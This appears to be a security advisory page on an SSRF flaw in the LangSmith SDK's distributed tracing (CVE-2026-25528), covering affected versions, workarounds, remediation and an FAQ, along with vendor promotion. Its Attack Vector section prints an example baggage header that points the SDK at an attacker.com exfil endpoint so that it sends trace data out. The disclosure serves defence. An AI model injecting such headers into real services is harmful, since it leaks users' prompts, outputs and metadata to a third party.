Summary
LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection
Full technical description
The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.
Description
When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields.
Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.
Attack Vector
Attacker sends an HTTP request to a vulnerable service with a malicious
baggageheader:baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}]The service parses the header via
RunTree.from_headers(), storing the attacker's URLWhen the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to
https://attacker.com/exfil
Affected Use Cases
Applications are vulnerable if they:
- Use
TracingMiddlewareto automatically propagate tracing context - Call
RunTree.from_headers()/RunTree.fromHeaders()with untrusted HTTP headers
Workarounds
If unable to upgrade immediately:
- Strip or validate the
baggageheader before passing tofrom_headers() - Do not use
TracingMiddlewarewith untrusted traffic
Impact
- Data Exfiltration: Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers
- SSRF: Ability to make the server send requests to arbitrary URLs, potentially targeting internal services
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-25528 has a CVSS score of 5.8 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.6.3, 0.4.6); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Update to the patched versions:
- Python:
pip install langsmith>=0.6.3 - JavaScript:
npm install langsmith@>=0.4.6
The fix filters incoming replica configurations to an allowlist of safe fields, removing api_url, api_key, and other credential fields.
Frequently Asked Questions
- What is CVE-2026-25528? CVE-2026-25528 is a medium-severity server-side request forgery (SSRF) vulnerability in langsmith (pip), affecting versions >= 0.4.10, < 0.6.3. It is fixed in 0.6.3, 0.4.6. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2026-25528? CVE-2026-25528 has a CVSS score of 5.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of langsmith are affected by CVE-2026-25528? langsmith (pip) versions >= 0.4.10, < 0.6.3 is affected.
- Is there a fix for CVE-2026-25528? Yes. CVE-2026-25528 is fixed in 0.6.3, 0.4.6. Upgrade to this version or later.
- Is CVE-2026-25528 exploitable, and should I be worried? Whether CVE-2026-25528 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-25528 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-25528?
- Upgrade
langsmithto 0.6.3 or later - Upgrade
langsmithto 0.4.6 or later
- Upgrade